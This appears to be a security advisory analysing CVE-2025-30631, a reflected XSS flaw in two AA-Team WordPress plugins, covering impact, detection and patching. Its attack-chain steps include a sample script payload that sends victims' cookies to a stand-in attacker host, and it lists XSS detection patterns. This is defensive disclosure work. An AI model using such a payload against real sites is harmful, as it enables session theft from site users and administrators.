CVE-2025-30631: 
WordPress vulnerability analysis and mitigation

CVE-2025-30631 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting two WordPress plugins developed by AA-Team: Woocommerce Sales Funnel Builder (versions through 1.1) and Amazon Affiliates Addon for WPBakery Page Builder (versions through 1.2). The vulnerability was disclosed on January 6, 2026, and was reported by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack - WooSales, Patchstack - Azon Addon).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. The root cause is insufficient sanitization and escaping of user-supplied input before it is rendered in web page output. An unauthenticated attacker can craft a malicious URL containing a JavaScript payload that, when clicked by a victim, causes the payload to execute in the victim's browser within the context of the affected WordPress site. No authentication or elevated privileges are required on the attacker's side, though user interaction (clicking a crafted link) is necessary (Patchstack - WooSales, Patchstack - Azon Addon).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who clicks a crafted link, with the scope of impact extending beyond the originating site (CVSS scope: Changed). This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement of page content as seen by the victim, or further attacks against authenticated users including administrators. If an administrator is targeted, the attacker could potentially escalate to full site compromise by injecting malicious content or creating rogue admin accounts (Patchstack - WooSales).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-30631. The EPSS score is approximately 0.016% (0.000160), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the vulnerable plugins — Woocommerce Sales Funnel Builder ≤1.1 or Amazon Affiliates Addon for WPBakery Page Builder ≤1.2 — using tools like WPScan or by inspecting plugin directories.
2. Identify vulnerable parameter: Locate the URL parameter(s) in the affected plugin pages that are reflected unsanitized into the HTML response.
3. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint with a JavaScript payload embedded in the vulnerable parameter, e.g., https://victim-site.com/plugin-page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or by embedding it in a forum post or comment.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected payload, the attacker's JavaScript executes — enabling session hijacking, credential theft, or further exploitation of the victim's authenticated session (Patchstack - WooSales).

• Network: HTTP requests to WordPress plugin pages containing URL-encoded JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after accessing plugin pages.
• Logs: WordPress or web server access logs showing GET/POST requests to plugin-specific endpoints with suspicious characters (%3Cscript%3E, %22, %27, alert() in query strings; repeated requests from the same IP with varying payload patterns.
• Browser/Client: Unexpected redirects or pop-ups when navigating to pages served by the affected plugins; session cookies appearing in external server logs.

The primary remediation is to update the affected plugins to versions beyond the vulnerable releases: Woocommerce Sales Funnel Builder should be updated past version 1.1, and Amazon Affiliates Addon for WPBakery Page Builder should be updated past version 1.2. If updated versions are not yet available from the vendor, site administrators should consider deactivating and removing the affected plugins until a patch is released. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. Patchstack users benefit from virtual patching that blocks exploitation attempts (Patchstack - WooSales, Patchstack - Azon Addon).

The vulnerability was noted in Wordfence's weekly WordPress vulnerability report for the week of July 14–20, 2025, indicating routine tracking by the WordPress security community (Wordfence). It was also referenced in a CISA vulnerability bulletin for the week of January 5, 2026, reflecting standard government tracking of disclosed WordPress plugin vulnerabilities. No significant independent researcher commentary or broader media coverage has been identified.